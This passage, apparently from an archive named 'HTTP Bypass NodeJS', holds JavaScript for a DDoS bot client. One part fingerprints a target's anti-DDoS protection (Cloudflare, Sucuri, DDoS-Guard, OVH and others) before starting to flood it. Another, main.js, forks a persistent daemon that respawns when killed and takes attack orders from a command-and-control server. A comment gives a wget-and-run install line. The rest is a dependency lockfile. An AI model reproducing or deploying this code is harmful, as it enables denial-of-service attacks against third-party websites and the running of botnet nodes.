                        if (res.headers['content-length'] >= 52428800) {
                            return process.exit(8);
                        }
                    }

                    if (res.headers.server == 'cloudflare') {
                        if (res.statusCode == 503 && (body.indexOf("Checking your browser before accessing</") !== -1 || body.indexOf("document.getElementById('challenge-form');") !== -1)) {
                            //Cloudflare UAM Detected:
                            STATE.firewall = ['cloudflare', 'uam'];
                        } else if (res.statusCode == 403 && (res.headers['cf-chl-bypass'] || body.indexOf('<noscript id="cf-captcha-bookmark" class="cf-captcha-info">') !== -1)) {
                            //Cloudflare Captcha Detected:
                            if (res.headers['cf-chl-bypass']) {
                                STATE.firewall = ['cloudflare', 'captcha', true];
                            } else {
                                STATE.firewall = ['cloudflare', 'captcha', false];
                            }
                        } else if (res.statusCode == 403) {
                            reqBypass.get({
                                url: l7.target,
                                proxy: dproxy,
                                headers: {
                                    'Cache-Control': 'max-age=0',
                                    'Upgrade-Insecure-Requests': 1,
                                    'User-Agent': dUA,
                                    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8',
                                    'Accept-Encoding': 'gzip, deflate, br',
                                    'Accept-Language': 'en-US,en;q=0.9'
                                }
                            }, (err, res, body) => {
                                if (err && err.name == 'CaptchaError') {
                                    STATE.firewall = ['cloudflare', 'captcha', false];
                                }
                            });
                        } else {
                            STATE.firewall = ['cloudflare', false]
                        }
                    } else if (res.headers['server'] == 'Sucuri/Cloudproxy' || body.indexOf("{},u,c,U,r,i,l=0") !== -1 && res.headers['x-sucuri-id'] && body.startsWith('<html><title>You are being redirected...</title>')) {
                        STATE.firewall = ['sucuri', 'jschl'];
                    } else if (body.indexOf("<!DOCTYPE html><html><head><title>DDOS-GUARD</title>") !== -1) {
                        STATE.firewall = ['ddosguard', '5sec'];
                        STATE.ratelimit = true;
                    } else if (res.headers['set-cookie'] && res.headers['set-cookie'][0].startsWith('__ddg_=')) {
                        STATE.firewall = ['ddosguard', 'proxy'];
                    } else if (res.headers.server && res.headers['x-hw'] && res.headers.server == 'fbs' && res.headers['x-hw'].startsWith('1')) {
                        STATE.firewall = ['stackpath', false];
                    } else if (res.statusCode == 200 && ['nginx', 'openresty'].indexOf(res.headers.server) !== -1 && res.headers['set-cookie']) {
                        if (res.headers['set-cookie'][0].startsWith('rcksid=')) {
                            STATE.firewall = ['blazingfast', '5sec'];
                        } else if (res.headers['set-cookie'][0].startsWith('BlazingWebCookie=')) {
                            STATE.firewall = ['blazingfast', '5sec2'];
                        }
                    } else if (body.indexOf(';document.cookie="CyberDDoS_') !== -1) {
                        if (body.indexOf('<div w3-include-html="/5s.html"></div>') !== -1) {
                            STATE.firewall = ['cyberddos', '5sec'];
                        } else {
                            STATE.firewall = ['cyberddos', 'silent'];
                        }
                    } else if (res.headers['x-firewall-protection'] && res.headers['x-firewall-protection'] == 'True' && res.statusCode == 200 && res.headers['x-firewall-port'] && res.headers.expires == '0') {
                        STATE.firewall = ['stormwall', 'js'];
                    } else if (res.headers.server && res.headers.server.startsWith('nginx') && res.statusCode == 589 && res.headers['set-cookie'] && res.headers['set-cookie'][0].startsWith('nooder_t=')) {
                        STATE.firewall = ['nooder', 'cookie'];
                    } else if (res.statusCode == 200 && body.startsWith('<html><body><script>setTimeout(eval(function(p,a,c,k,e,d){e=function(c){') && body.endsWith('Please enable JavaScript and Cookies in your browser.</p></noscript></body></html>')) {
                        STATE.firewall = ['ovh', 'js'];
                    } else if (res.statusCode == 200 && body.indexOf('function setCookie() {document.cookie = "PipeGuard=') !== -1 && body.startsWith('<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Human Verification</title>')) {
                        STATE.firewall = ['pipeguard', 'SetCookie'];
                    }
                    STATE.firewalls.push(STATE.firewall);
                    STATE.last.body = body;
                    STATE.last.res = res;
                });
            }

            let tryrun = setInterval(() => {
                STATE.running ? clearInterval(tryrun) : setImmediate(detectplz);
                if (STATE.firewalls.length >= 60) {
                    //After getting protection detected results; We start flooding and bypassing:
                    STATE.running = true; // From now and so, script considered running;
                    STATE.expire = Date.now() + workerData.duration;

                    if (l7.mode == 'request') {
                        let tryINIT = () => {
                            if (PROPS.length > 0) {
                                Starter.init();
                            } else {
                                setTimeout(tryINIT, 1e3);
                            }
                        }
                        tryINIT();
                    }
                    setTimeout(() => {
                        logger('Attack finished');
                        process.exit(4);
                    }, STATE.expire - Date.now());
                    clearInterval(tryrun);
                    for (var i = 0; i < STATE.firewalls.length; i++) {
                        if (Array.isArray(STATE.firewalls[i])) {
                            switch (STATE.firewall[0]) {
                                case 'cloudflare':
                                    STATE.firewall[1] = STATE.firewalls[i][1] !== 'captcha' ? STATE.firewalls[i][1] : STATE.firewall[1];
                                    if (l7.mode !== 'request' && ['captcha', 'uam'].indexOf(STATE.firewall[1]) !== -1) {
                                        l7.mode = 'request';
                                    }
                                    if (STATE.firewall.length == 3) {
                                        if (!STATE.firewall[2]) {
                                            console.warn('[cloudflare-bypass]: The target is not supporting privacypass, now closing rip...');
                                            process.exit(34);
                                        }
                                    }
                                    break;
                                case 'ddosguard':
                                    STATE.firewall[1] = STATE.firewalls[i][1] !== 'proxy' ? STATE.firewalls[i][1] : STATE.firewall[1];
                                    break;
                            }
                            if (STATE.firewall == false) STATE.firewall = STATE.firewalls[i];
                        }
                    }
                    l7.firewall = STATE.firewall;
                    if (l7.firewall[0] == 'cloudflare') {
                        l7.privacypass = require('./privacypass.json');
                    }
                    this.cback() // Start bypassing :: After bypassed start attacking using "ATTACK" function;
                } else {
                    //logger(STATE.firewalls.length);
                }
            });
        }
    }

    if (!l7.raw) {
        let Detection = new AutoDetect(() => {
            new Bypass();
        });

        Detection.detect();
    }
}

if (workerData) INIT();PK
K�O�l�'��HTTP Bypass NodeJS/main.js// Non-daemon, development usage:
//global.CNC = process.argv[2];

//require('./client');

//return;

// Payload;
// Requirements: Node.js installed;
// npm install request;npm install cloudscraper;npm install zombie;wget ZIP_DOWNLOAD/load.zip;unzip load.zip;node main IP
const child_process = require('child_process');
process.on('SIGCHILD', () => {
    return !1;
}).on('SIGHUP', () => {
    return !1;
});
// Requires and init:
function daemon(script, args) {
    var stdout = 'ignore';
    var stderr = 'ignore';

    var cp_opt = {
        stdio: ['ignore', stdout, stderr],
        env: {
            cnc: CNC,
            __daemon: true
        },
        detached: true
    };

    // spawn the child using the same node process as ours
    var child = child_process.spawn(process.execPath, [script].concat(args), cp_opt);

    // required so the parent can exit
    child.unref();

    return child;
};

function initDaemon() {
    var args = [].concat(process.argv);

    // shift off node
    args.shift();

    // our script name
    var script = args.shift();

    // start ourselves as a daemon
    return daemon(script, args, CNC);
}
// Require CNC client: To receive attack executions, data (proxies, privacypass tokens, and so...)
// we are a daemon, don't daemonize again
if (process.env.__daemon) {
    global.CNC = process.env.cnc;
    require('./client');
    let handled = false;
    global.handleClose = _ => {
        if (handled && !_) return;
        handled = !handled;
        if (!process.updating) {
            initDaemon();
        }
    };
    
    let keepAlive = () => {
        stop_all();
        process.stdin.resume();
        logger('Keeping alive.');
    }
    process.stdin.resume();
    setInterval(keepAlive, 1000 * 60 * 60);
    process.on('SIGTERM', handleClose).on('beforeExit', handleClose).on('exit', handleClose).on('SIGABRT', handleClose).on('SIGINT', handleClose).on('SIGUSR1', handleClose).on('SIGUSR2', handleClose);
} else {
    global.CNC = process.argv[2];
    console.log('[CLIENT L7] Executed, Forking daemon process.');
    initDaemon();
    setTimeout(() => {
        process.exit(6);
    }, 3e3);
}PK
J�OX��'�}�}$HTTP Bypass NodeJS/package-lock.json{
  "requires": true,
  "lockfileVersion": 1,
  "dependencies": {
    "abab": {
      "version": "2.0.3",
      "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.3.tgz",
      "integrity": "sha512-tsFzPpcttalNjFBCFMqsKYQcWxxen1pgJR56by//QwvJc4/OUS3kPOOttx2tSIfjsylB0pYu7f5D3K1RCxUnUg=="
    },
    "acorn": {
      "version": "5.7.3",
      "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.3.tgz",
      "integrity": "sha512-T/zvzYRfbVojPWahDsE5evJdHb3oJoQfFbsrKM7w5Zcs++Tr257tia3BmMP8XYVjp1S9RZXQMh7gao96BlqZOw=="
    },
    "acorn-walk": {
      "version": "6.2.0",
      "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-6.2.0.tgz",
      "integrity": "sha512-7evsyfH1cLOCdAzZAd43Cic04yKydNx0cF+7tiA19p1XnLLPU4dpCQOqpjqwokFe//vS0QqfqqjCS2JkiIs0cA=="
    },
    "ajv": {
      "version": "6.10.2",
      "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.2.tgz",
      "integrity": "sha512-TXtUUEYHuaTEbLZWIKUr5pmBuhDLy+8KYtPYdcV8qC+pOZL+NKqYwvWSRrVXHn+ZmRRAu8vJTAznH7Oag6RVRw==",
      "requires": {
        "fast-deep-equal": "^2.0.1",
        "fast-json-stable-stringify": "^2.0.0",
        "json-schema-traverse": "^0.4.1",
        "uri-js": "^4.2.2"
      }
    },
    "array-equal": {
      "version": "1.0.0",
      "resolved": "https://registry.npmjs.org/array-equal/-/array-equal-1.0.0.tgz",
      "integrity": "sha1-jCpe8kcv2ep0KwTHenUJO6J1fJM="
    },
    "asn1": {
      "version": "0.2.4",
      "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz",
      "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==",
      "requires": {
        "safer-buffer": "~2.1.0"
      }
    },
    "assert-plus": {
      "version": "1.0.0",
      "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz",
      "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU="
    },
    "async-limiter": {
      "version": "1.0.1",
      "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz",
      "integrity": "sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ=="
    },
    "asynckit": {
      "version": "0.4.0",
      "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
      "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k="
    },
    "aws-sign2": {
      "version": "0.7.0",
      "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz",
      "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg="
    },
    "aws4": {
      "version": "1.9.0",
      "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.9.0.tgz",
      "integrity": "sha512-Uvq6hVe90D0B2WEnUqtdgY1bATGz3mw33nH9Y+dmA+w5DHvUmBgkr5rM/KCHpCsiFNRUfokW/szpPPgMK2hm4A=="
    },
    "babel-runtime": {
      "version": "6.26.0",
      "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz",
      "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=",
      "requires": {
        "core-js": "^2.4.0",
        "regenerator-runtime": "^0.11.0"
      }
    },
    "bcrypt-pbkdf": {
      "version": "1.0.2",
      "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz",
      "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=",
      "requires": {
        "tweetnacl": "^0.14.3"
      }
    },
    "bluebird": {
      "version": "3.7.2",
      "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz",
      "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg=="
    },
    "browser-process-hrtime": {
      "version": "0.1.3",
      "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-0.1.3.tgz",
      "integrity": "sha512-bRFnI4NnjO6cnyLmOV/7PVoDEMJChlcfN0z4s1YMBY989/SvlfMI1lgCnkFUs53e9gQF+w7qu7XdllSTiSl8Aw=="
    },
    "caseless": {
      "version": "0.12.0",
      "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz",
      "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw="
    },
    "cloudscraper": {
      "version": "4.5.0",
      "resolved": "https://registry.npmjs.org/cloudscraper/-/cloudscraper-4.5.0.tgz",
      "integrity": "sha512-zZYzW37DM6/fir06w7ey391/i4Yw7afZ6JZv10utrLUQM1wCzf5heRrZ+SoON5dI3adX7eNCgUVbmWRn0tx2Mg==",
      "requires": {
        "request-promise": "^4.2.4"
      }
    },
    "combined-stream": {
      "version": "1.0.8",
      "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
      "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
      "requires": {
        "delayed-stream": "~1.0.0"
      }
    },
    "core-js": {
      "version": "2.6.11",
      "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.11.tgz",
      "integrity": "sha512-5wjnpaT/3dV+XB4borEsnAYQchn00XSgTAWKDkEqv+K8KevjbzmofK6hfJ9TZIlpj2N0xQpazy7PiRQiWHqzWg=="
    },
    "core-util-is": {
      "version": "1.0.2",
      "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz",
      "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac="
    },
    "cssom": {
      "version": "0.3.8",
      "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz",
      "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg=="
    },
    "cssstyle": {
      "version": "1.4.0",
      "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-1.4.0.tgz",
      "integrity": "sha512-GBrLZYZ4X4x6/QEoBnIrqb8B/f5l4+8me2dkom/j1Gtbxy0kBv6OGzKuAsGM75bkGwGAFkt56Iwg28S3XTZgSA==",
      "requires": {
        "cssom": "0.3.x"
      }
    },
    "dashdash": {
      "version": "1.14.1",
      "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz",
      "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=",
      "requires": {
        "assert-plus": "^1.0.0"
      }
    },
    "data-urls": {
      "version": "1.1.0",
      "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-1.1.0.tgz",
      "integrity": "sha512-YTWYI9se1P55u58gL5GkQHW4P6VJBJ5iBT+B5a7i2Tjadhv52paJG0qHX4A0OR6/t52odI64KP2YvFpkDOi3eQ==",
      "requires": {
        "abab": "^2.0.0",
        "whatwg-mimetype": "^2.2.0",
        "whatwg-url": "^7.0.0"
      },
      "dependencies": {
        "whatwg-url": {
          "version": "7.1.0",
          "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-7.1.0.tgz",
          "integrity": "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==",
          "requires": {
            "lodash.sortby": "^4.7.0",
            "tr46": "^1.0.1",
            "webidl-conversions": "^4.0.2"
          }
        }
      }
    },
    "debug": {
      "version": "4.1.1",
      "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
      "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
      "requires": {
        "ms": "^2.1.1"
      }
    },
    "deep-is": {
      "version": "0.1.3",
      "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz",
      "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ="
    },
    "delayed-stream": {
      "version": "1.0.0",
      "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
      "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk="
    },
    "domexception": {
      "version": "1.0.1",
      "resolved": "https://registry.npmjs.org/domexception/-/domexception-1.0.1.tgz",
      "integrity": "sha512-raigMkn7CJNNo6Ihro1fzG7wr3fHuYVytzquZKX5n0yizGsTcYgzdIUwj1X9pK0VvjeihV+XiclP+DjwbsSKug==",
      "requires": {
        "webidl-conversions": "^4.0.2"
      }
    },
    "ecc-jsbn": {
      "version": "0.1.2",
      "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz",
      "integrity": "sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=",
      "requires": {
        "jsbn": "~0.1.0",
        "safer-buffer": "^2.1.0"
      }
    },
    "escodegen": {
      "version": "1.12.0",
      "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-1.12.0.tgz",
      "integrity": "sha512-TuA+EhsanGcme5T3R0L80u4t8CpbXQjegRmf7+FPTJrtCTErXFeelblRgHQa1FofEzqYYJmJ/OqjTwREp9qgmg==",
      "requires": {
        "esprima": "^3.1.3",
        "estraverse": "^4.2.0",
        "esutils": "^2.0.2",
        "optionator": "^0.8.1",
        "source-map": "~0.6.1"
      }
    },
    "esprima": {
      "version": "3.1.3",
      "resolved": "https://registry.npmjs.org/esprima/-/esprima-3.1.3.tgz",
      "integrity": "sha1-/cpRzuYTOJXjyI1TXOSdv/YqRjM="
    },
    "estraverse": {
      "version": "4.3.0",
      "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
      "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw=="
    },
    "esutils": {
      "version": "2.0.3",
      "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",
      "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g=="
    },
    "eventsource": {
      "version": "1.0.7",
      "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-1.0.7.tgz",
      "integrity": "sha512-4Ln17+vVT0k8aWq+t/bF5arcS3EpT9gYtW66EPacdj/mAFevznsnyoHLPy2BA8gbIQeIHoPsvwmfBftfcG//BQ==",
      "requires": {
        "original": "^1.0.0"
      }
    },
    "extend": {
      "version": "3.0.2",
      "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",
      "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="
    },
    "extsprintf": {
      "version": "1.3.0",
      "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz",
      "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU="
    },
    "fast-deep-equal": {
      "version": "2.0.1",
      "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz",
      "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk="
    },
    "fast-json-stable-stringify": {
      "version": "2.1.0",
      "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
      "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw=="
    },
    "fast-levenshtein": {
      "version": "2.0.6",
      "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz",
      "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc="
    },
    "forever-agent": {
      "version": "0.6.1",
      "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz",
      "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE="
    },
    "form-data": {
      "version": "2.3.3",
      "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz",
      "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==",
      "requires": {
        "asynckit": "^0.4.0",
        "combined-stream": "^1.0.6",
        "mime-types": "^2.1.12"
      }
    },
    "getpass": {
      "version": "0.1.7",
      "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz",
      "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=",
      "requires": {
        "assert-plus": "^1.0.0"
      }
    },
    "har-schema": {
      "version": "2.0.0",
      "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz",
      "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI="
    },
    "har-validator": {
      "version": "5.1.3",
      "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz",
      "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==",
      "requires": {
        "ajv": "^6.5.5",
        "har-schema": "^2.0.0"
      }
    },
    "html-encoding-sniffer": {
      "version": "1.0.2",
      "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-1.0.2.tgz",
      "integrity": "sha512-71lZziiDnsuabfdYiUeWdCVyKuqwWi23L8YeIgV9jSSZHCtb6wB1BKWooH7L3tn4/FuZJMVWyNaIDr4RGmaSYw==",
      "requires": {
        "whatwg-encoding": "^1.0.1"
      }
    },
    "http-signature": {
      "version": "1.2.0",
      "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz",
      "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=",
      "requires": {
        "assert-plus": "^1.0.0",
        "jsprim": "^1.2.2",
        "sshpk": "^1.7.0"
      }
    },
    "iconv-lite": {
      "version": "0.4.24",
      "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
      "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
      "requires": {
        "safer-buffer": ">= 2.1.2 < 3"
      }
    },
    "is-typedarray": {
      "version": "1.0.0",
      "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
      "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo="
    },
    "isstream": {
      "version": "0.1.2",
      "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz",
      "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo="
    },
    "jsbn": {
      "version": "0.1.1",
      "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz",
      "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM="
    },
    "jsdom": {
      "version": "11.12.0",
      "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-11.12.0.tgz",
      "integrity": "sha512-y8Px43oyiBM13Zc1z780FrfNLJCXTL40EWlty/LXUtcjykRBNgLlCjWXpfSPBl2iv+N7koQN+dvqszHZgT/Fjw==",
      "requires": {
        "abab": "^2.0.0",
        "acorn": "^5.5.3",
        "acorn-globals": "^4.1.0",
        "array-equal": "^1.0.0",
        "cssom": ">= 0.3.2 < 0.4.0",
        "cssstyle": "^1.0.0",
        "data-urls": "^1.0.0",
        "domexception": "^1.0.1",
        "escodegen": "^1.9.1",
        "html-encoding-sniffer": "^1.0.2",
        "left-pad": "^1.3.0",
        "nwsapi": "^2.0.7",
        "parse5": "4.0.0",
        "pn": "^1.1.0",
        "request": "^2.87.0",
        "request-promise-native": "^1.0.5",
        "sax": "^1.2.4",
        "symbol-tree": "^3.2.2",
        "tough-cookie": "^2.3.4",
        "w3c-hr-time": "^1.0.1",
        "webidl-conversions": "^4.0.2",
        "whatwg-encoding": "^1.0.3",
        "whatwg-mimetype": "^2.1.0",
        "whatwg-url": "^6.4.1",
        "ws": "^5.2.0",
        "xml-name-validator": "^3.0.0"
      },
      "dependencies": {
        "acorn-globals": {
          "version": "4.3.4",
          "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-4.3.4.tgz",
          "integrity": "sha512-clfQEh21R+D0leSbUdWf3OcfqyaCSAQ8Ryq00bofSekfr9W8u1jyYZo6ir0xu9Gtcf7BjcHJpnbZH7JOCpP60A==",
          "requires": {
            "acorn": "^6.0.1",
            "acorn-walk": "^6.0.1"
          },
          "dependencies": {
            "acorn": {
              "version": "6.4.0",
              "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.0.tgz",
              "integrity": "sha512-gac8OEcQ2Li1dxIEWGZzsp2BitJxwkwcOm0zHAJLcPJaVvm58FRnk6RkuLRpU1EujipU2ZFODv2P9DLMfnV8mw=="
            }
          }
        },
        "ws": {
          "version": "5.2.2",
          "resolved": "https://registry.npmjs.org/ws/-/ws-5.2.2.tgz",
          "integrity": "sha512-jaHFD6PFv6UgoIVda6qZllptQsMlDEJkTQcybzzXDYM1XO9Y8em691FGMPmM46WGyLU4z9KMgQN+qrux/nhlHA==",
          "requires": {
            "async-limiter": "~1.0.0"
          }
        }
      }
    },
    "json-schema": {
      "version": "0.2.3",
      "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz",
      "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM="
    },
    "json-schema-traverse": {
      "version": "0.4.1",
      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
      "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
    },
    "json-stringify-safe": {
      "version": "5.0.1",
      "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz",
      "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus="
    },
    "jsprim": {
      "version": "1.4.1",
      "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz",
      "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=",
      "requires": {
        "assert-plus": "1.0.0",
        "extsprintf": "1.3.0",
        "json-schema": "0.2.3",
        "verror": "1.10.0"
      }
    },
    "left-pad": {
      "version": "1.3.0",
      "resolved": "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz",
      "integrity": "sha512-XI5MPzVNApjAyhQzphX8BkmKsKUxD4LdyK24iZeQGinBN9yTQT3bFlCBy/aVx2HrNcqQGsdot8ghrjyrvMCoEA=="
    },
    "levn": {
      "version": "0.3.0",
      "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz",
      "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=",
      "requires": {
        "prelude-ls": "~1.1.2",
        "type-check": "~0.3.2"
      }
    },
    "lodash": {
      "version": "4.17.15",
      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz",
      "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A=="
    },
    "lodash.sortby": {
      "version": "4.7.0",
      "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz",
      "integrity": "sha1-7dFMgk4sycHgsKG0K7UhBRakJDg="
    },
    "mime": {
      "version": "2.4.4",
      "resolved": "https://registry.npmjs.org/mime/-/mime-2.4.4.tgz",
      "integrity": "sha512-LRxmNwziLPT828z+4YkNzloCFC2YM4wrB99k+AV5ZbEyfGNWfG8SO1FUXLmLDBSo89NrJZ4DIWeLjy1CHGhMGA=="
    },
    "mime-db": {
      "version": "1.42.0",
      "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.42.0.tgz",
      "integrity": "sha512-UbfJCR4UAVRNgMpfImz05smAXK7+c+ZntjaA26ANtkXLlOe947Aag5zdIcKQULAiF9Cq4WxBi9jUs5zkA84bYQ=="
    },
    "mime-types": {
      "version": "2.1.25",
      "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.25.tgz",
      "integrity": "sha512-5KhStqB5xpTAeGqKBAMgwaYMnQik7teQN4IAzC7npDv6kzeU6prfkR67bc87J1kWMPGkoaZSq1npmexMgkmEVg==",
      "requires": {
        "mime-db": "1.42.0"
      }
    },
    "ms": {
      "version": "2.1.2",
      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
      "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
    },
    "nwsapi": {
      "version": "2.2.0",
      "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.0.tgz",
      "integrity": "sha512-h2AatdwYH+JHiZpv7pt/gSX1XoRGb7L/qSIeuqA6GwYoF9w1vP1cw42TO0aI2pNyshRK5893hNSl+1//vHK7hQ=="
    },
    "oauth-sign": {
      "version": "0.9.0",
      "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz",
